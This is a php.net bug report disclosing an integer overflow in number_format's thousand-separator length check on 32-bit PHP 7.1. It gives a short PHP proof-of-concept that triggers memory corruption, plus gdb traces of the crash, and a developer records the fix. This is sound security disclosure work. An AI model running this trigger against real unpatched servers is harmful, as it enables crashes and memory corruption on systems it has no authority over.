php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73336 Memory corruption in _php_math_number_format_ex()
Submitted: 2016-10-18 09:50 UTC Modified: 2017-02-13 01:07 UTC
From: bughunter at fosec dot vn Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 7.1Git-2016-10-18 (Git) OS: CentOS 7 x86
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: bughunter at fosec dot vn
New email:
PHP Version: OS:

 

 [2016-10-18 09:50 UTC] bughunter at fosec dot vn
Description:
------------
I use php-src from https://github.com/php/php-src. commit: 0a67b29a7c8ce1646be0bc06ddb4a4e55cb4cf73.

I have found some vulnerable code at _php_math_number_format_ex() function. _php_math_number_format_ex() function is an internal function which is called from number_format() function. number_format() function takes in a string and uses it as the thousand separator. If the separator string is too long, it may lead to string overflow.

Inside the code of the function itself, there are checks in the thousand_sep_len to avoid string overflow:

PHPAPI zend_string *_php_math_number_format_ex(double d, int dec, char *dec_point,
		size_t dec_point_len, char *thousand_sep, size_t thousand_sep_len)
{
....
    /* allow for thousand separators */
	if (thousand_sep) {
		if (integral + thousand_sep_len * ((integral-1) / 3) < integral) {
			/* overflow */
			php_error_docref(NULL, E_ERROR, "String overflow");
		}
		integral += thousand_sep_len * ((integral-1) / 3);
	}

    reslen = integral;
....
}


The problem is that both integral variable and thousand_sep_len variable are unsigned integers, in 32 bits architectures this means 2^32 - 1 maximum value. So, if we set some appropriate values in integral and thousand_sep_len, for example: integral = 0x0a and thousand_sep_len = 0x65000000, integral + thousand_sep_len * ((integral-1) / 3) equals to 0x12F00000a, a result larger than the maximum representable value. In 32 bits architectures, the result will become 0x2F00000a and pass the check.


Test script:
----------------
<?php
ini_set('memory_limit', -1);
$thousands_sep = str_repeat("A", 0x65000000);
number_format(1234567890, 0, ".", $thousands_sep);
?>

Open php program in gdb, set a breakpoint at line in file ext/standard/math.c:1149


[----------------------------------registers-----------------------------------]
EAX: 0x2f00000a ('\n')
EBX: 0x52400010 ('A' <repeats 200 times>...)
ECX: 0xb7da8000 --> 0x1b8d9c
EDX: 0x2f000000 ('')
ESI: 0x65000000 ('A' <repeats 200 times>...)
EDI: 0xb7860188 --> 0x848b04e (<ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER>:      push   ebp)
EBP: 0xbfffbe88 --> 0xbfffbf28 --> 0xbfffbf68 --> 0xbfffbf88 --> 0xbfffbfc8 --> 0xbfffbff8 (--> ...)
ESP: 0xbfffbe30 --> 0x0
EIP: 0x834d202 (<_php_math_number_format_ex+316>:       cmp    eax,DWORD PTR [ebp-0x18])
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x834d1fd <_php_math_number_format_ex+311>:  mov    eax,DWORD PTR [ebp-0x18]
   0x834d200 <_php_math_number_format_ex+314>:  add    eax,edx
   0x834d202 <_php_math_number_format_ex+316>:  cmp    eax,DWORD PTR [ebp-0x18]
=> 0x834d205 <_php_math_number_format_ex+319>:  jae    0x834d223 <_php_math_number_format_ex+349>
 | 0x834d207 <_php_math_number_format_ex+321>:  mov    DWORD PTR [esp+0x8],0x89758e9
 | 0x834d20f <_php_math_number_format_ex+329>:  mov    DWORD PTR [esp+0x4],0x1
 | 0x834d217 <_php_math_number_format_ex+337>:  mov    DWORD PTR [esp],0x0
 | 0x834d21e <_php_math_number_format_ex+344>:  call   0x83c1a10 <php_error_docref0>
 |->   0x834d223 <_php_math_number_format_ex+349>:      mov    eax,DWORD PTR [ebp-0x18]
       0x834d226 <_php_math_number_format_ex+352>:      sub    eax,0x1
       0x834d229 <_php_math_number_format_ex+355>:      mov    edx,0xaaaaaaab
       0x834d22e <_php_math_number_format_ex+360>:      mul    edx
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbfffbe30 --> 0x0
0004| 0xbfffbe34 --> 0x89758e1 ("%.*F")
0008| 0xbfffbe38 --> 0x0
0012| 0xbfffbe3c --> 0xb4800000 ('A' <repeats 200 times>...)
0016| 0xbfffbe40 --> 0x41d26580
0020| 0xbfffbe44 --> 0x65000014 ('A' <repeats 200 times>...)
0024| 0xbfffbe48 --> 0xb4800000 ('A' <repeats 200 times>...)
0028| 0xbfffbe4c --> 0x41d26580
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0834d202      1150                    if (integral + thousand_sep_len * ((integral-1) / 3) < integral) {
gdb-peda$


DWORD PTR [ebp-0x18] is integral variable and EAX register will hold result of integral + thousand_sep_len * ((integral-1) / 3) . Because integral is lower than 0x2f00000a, integral will be updated with 0x2f00000a. reslen will be 0x2f00000a. 

reslen is used as a parameter in zend_string_alloc() to create a new zend_string object holding formatted string ( reffer at ext/standard/math.c:1175 ):

	res = zend_string_alloc(reslen, 0);


Two local variables s and t are used during format process. They are used to copy numbers to formatted string and add thousand separator every three digits ( reffer at ext/standard/math.c:1209 ):

/* copy the numbers before the decimal point, adding thousand
	 * separator every three digits */
	while (s >= ZSTR_VAL(tmpbuf)) {
		*t-- = *s--;
		if (thousand_sep && (++count%3)==0 && s >= ZSTR_VAL(tmpbuf)) {
			t -= thousand_sep_len;
			memcpy(t + 1, thousand_sep, thousand_sep_len);
		}
}


Because thousand_sep_len is too big, the result of t -= thousand_sep_len; is unexpected value.
In this example, $ebp-0x10 points to t.

Before

 [----------------------------------registers-----------------------------------]
EAX: 0x9b000000 ('A' <repeats 200 times>...)
EBX: 0x52400010 ('A' <repeats 200 times>...)
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x834d3d9 <_php_math_number_format_ex+787>:  ja     0x834d3ff <_php_math_number_format_ex+825>
   0x834d3db <_php_math_number_format_ex+789>:  mov    eax,DWORD PTR [ebp+0x20]
   0x834d3de <_php_math_number_format_ex+792>:  neg    eax
=> 0x834d3e0 <_php_math_number_format_ex+794>:  add    DWORD PTR [ebp-0x10],eax
   0x834d3e3 <_php_math_number_format_ex+797>:  mov    eax,DWORD PTR [ebp-0x10]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0834d3e0      1213                            t -= thousand_sep_len;
gdb-peda$ x/1xw $ebp-0x10
0xbfffbe78:     0x52200016

After:

 [----------------------------------registers-----------------------------------]
EAX: 0x9b000000 ('A' <repeats 200 times>...)
EBX: 0x52400010 ('A' <repeats 200 times>...)
[-------------------------------------code-------------------------------------]
   0x834d3db <_php_math_number_format_ex+789>:  mov    eax,DWORD PTR [ebp+0x20]
   0x834d3de <_php_math_number_format_ex+792>:  neg    eax
   0x834d3e0 <_php_math_number_format_ex+794>:  add    DWORD PTR [ebp-0x10],eax
=> 0x834d3e3 <_php_math_number_format_ex+797>:  mov    eax,DWORD PTR [ebp-0x10]
   0x834d3e6 <_php_math_number_format_ex+800>:  lea    edx,[eax+0x1]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, _php_math_number_format_ex (d=1234567890, dec=0x0, dec_point=0xb78012b8 ".",
    dec_point_len=0x1, thousand_sep=0x52400010 'A' <repeats 200 times>...,
    thousand_sep_len=0x65000000) at /root/fuzzer/php7/ext/standard/math.c:1214
1214                            memcpy(t + 1, thousand_sep, thousand_sep_len);
gdb-peda$ x/1xw $ebp-0x10
0xbfffbe78:     0xed200016


0xed200016 is an unusable memory address. 

_php_math_number_format_ex function tries to copy thousand separator into formatted string, leads to memory corruption ( reffer at ext/standard/math.c:1214 ):

memcpy(t + 1, thousand_sep, thousand_sep_len);



 [----------------------------------registers-----------------------------------]
EAX: 0x52400010 ('A' <repeats 200 times>...)
EBX: 0x52400010 ('A' <repeats 200 times>...)
ECX: 0x0
EDX: 0xed200017
ESI: 0x65000000 ('A' <repeats 200 times>...)
EDI: 0xb7860188 --> 0x848b04e (<ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER>:      push   ebp)
EBP: 0xbfffbe88 --> 0xbfffbf28 --> 0xbfffbf68 --> 0xbfffbf88 --> 0xbfffbfc8 --> 0xbfffbff8 (--> ...)
ESP: 0xbfffbe30 --> 0xed200017
EIP: 0x834d3fa (<_php_math_number_format_ex+820>:       call   0x80647f0 <memcpy@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x834d3f0 <_php_math_number_format_ex+810>:  mov    eax,DWORD PTR [ebp+0x1c]
   0x834d3f3 <_php_math_number_format_ex+813>:  mov    DWORD PTR [esp+0x4],eax
   0x834d3f7 <_php_math_number_format_ex+817>:  mov    DWORD PTR [esp],edx
=> 0x834d3fa <_php_math_number_format_ex+820>:  call   0x80647f0 <memcpy@plt>
   0x834d3ff <_php_math_number_format_ex+825>:  mov    eax,DWORD PTR [ebp-0x2c]
   0x834d402 <_php_math_number_format_ex+828>:  add    eax,0x10
   0x834d405 <_php_math_number_format_ex+831>:  cmp    eax,DWORD PTR [ebp-0xc]
   0x834d408 <_php_math_number_format_ex+834>:  jbe    0x834d38e <_php_math_number_format_ex+712>
Guessed arguments:
arg[0]: 0xed200017
arg[1]: 0x52400010 ('A' <repeats 200 times>...)
arg[2]: 0x65000000 ('A' <repeats 200 times>...)
[------------------------------------stack-------------------------------------]
0000| 0xbfffbe30 --> 0xed200017
0004| 0xbfffbe34 --> 0x52400010 ('A' <repeats 200 times>...)
0008| 0xbfffbe38 --> 0x65000000 ('A' <repeats 200 times>...)
0012| 0xbfffbe3c --> 0xb4800000 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0834d3fa      1214                            memcpy(t + 1, thousand_sep, thousand_sep_len);
gdb-peda$

Test script:
---------------
<?php
ini_set('memory_limit', -1);
$thousands_sep = str_repeat("A", 0x65000000);
number_format(1234567890, 0, ".", $thousands_sep);
?>

Expected result:
----------------
No SIGSEGV

Actual result:
--------------
 [----------------------------------registers-----------------------------------]
EAX: 0x52400019 ('A' <repeats 200 times>...)
EBX: 0xb7da8000 --> 0x1b8d9c
ECX: 0x64fffff7 ('A' <repeats 200 times>...)
EDX: 0xed200020
ESI: 0xed200017
EDI: 0x52400019 ('A' <repeats 200 times>...)
EBP: 0xbfffbe88 --> 0xbfffbf28 --> 0xbfffbf68 --> 0xbfffbf88 --> 0xbfffbfc8 --> 0xbfffbff8 (--> ...)
ESP: 0xbfffbe20 --> 0x65000000 ('A' <repeats 200 times>...)
EIP: 0xb7d38ed4 (<__memcpy_ssse3_rep+3380>:     movdqu XMMWORD PTR [esi],xmm0)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7d38ec7 <__memcpy_ssse3_rep+3367>:        mov    esi,esi
   0xb7d38ec9 <__memcpy_ssse3_rep+3369>:        lea    edi,[edi+eiz*1+0x0]
   0xb7d38ed0 <__memcpy_ssse3_rep+3376>:        movdqu xmm1,XMMWORD PTR [eax]
=> 0xb7d38ed4 <__memcpy_ssse3_rep+3380>:        movdqu XMMWORD PTR [esi],xmm0
   0xb7d38ed8 <__memcpy_ssse3_rep+3384>:        movntdq XMMWORD PTR [edx],xmm1
   0xb7d38edc <__memcpy_ssse3_rep+3388>:        add    eax,0x10
   0xb7d38edf <__memcpy_ssse3_rep+3391>:        add    edx,0x10
   0xb7d38ee2 <__memcpy_ssse3_rep+3394>:        sub    ecx,0x10
[------------------------------------stack-------------------------------------]
0000| 0xbfffbe20 --> 0x65000000 ('A' <repeats 200 times>...)
0004| 0xbfffbe24 --> 0xb7860188 --> 0x848b04e (<ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER>:      push   ebp)
0008| 0xbfffbe28 --> 0x52400010 ('A' <repeats 200 times>...)
0012| 0xbfffbe2c --> 0x834d3ff (<_php_math_number_format_ex+825>:       mov    eax,DWORD PTR [ebp-0x2c])
0016| 0xbfffbe30 --> 0xed200017
0020| 0xbfffbe34 --> 0x52400010 ('A' <repeats 200 times>...)
0024| 0xbfffbe38 --> 0x65000000 ('A' <repeats 200 times>...)
0028| 0xbfffbe3c --> 0xb4800000 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:1269
1269            movdqu  %xmm0, (%esi)
gdb-peda$ bt
#0  __memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:1269
#1  0x0834d3ff in _php_math_number_format_ex (d=1234567890, dec=0x0, dec_point=0xb78012b8 ".", dec_point_len=0x1,
    thousand_sep=0x52400010 'A' <repeats 200 times>..., thousand_sep_len=0x65000000)
    at /root/fuzzer/php7/ext/standard/math.c:1214
#2  0x0834da96 in zif_number_format (execute_data=0xb78150a0, return_value=0xbfffbf44)
    at /root/fuzzer/php7/ext/standard/math.c:1264
#3  0x0848b0ab in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at /root/fuzzer/php7/Zend/zend_vm_execute.h:628
#4  0x0848ab04 in execute_ex (ex=0xb7815020) at /root/fuzzer/php7/Zend/zend_vm_execute.h:429
#5  0x0848abc7 in zend_execute (op_array=0xb786c3c0, return_value=0x0)
    at /root/fuzzer/php7/Zend/zend_vm_execute.h:474
#6  0x0843a606 in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /root/fuzzer/php7/Zend/zend.c:1464
#7  0x083c4564 in php_execute_script (primary_file=0xbffff2ec) at /root/fuzzer/php7/main/main.c:2537
#8  0x084fb42e in do_cli (argc=0x3, argv=0x8a5fa88) at /root/fuzzer/php7/sapi/cli/php_cli.c:990
#9  0x084fc37f in main (argc=0x3, argv=0x8a5fa88) at /root/fuzzer/php7/sapi/cli/php_cli.c:1378
#10 0xb7c08943 in __libc_start_main (main=0x84fbc23 <main>, argc=0x3, ubp_av=0xbffff574,
    init=0x8505170 <__libc_csu_init>, fini=0x85051e0 <__libc_csu_fini>, rtld_fini=0xb7fee700 <_dl_fini>,
    stack_end=0xbffff56c) at libc-start.c:274
#11 0x08065af1 in _start ()

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-05 21:49 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:49 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-02-13 01:07 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Jun 15 20:01:29 2024 UTC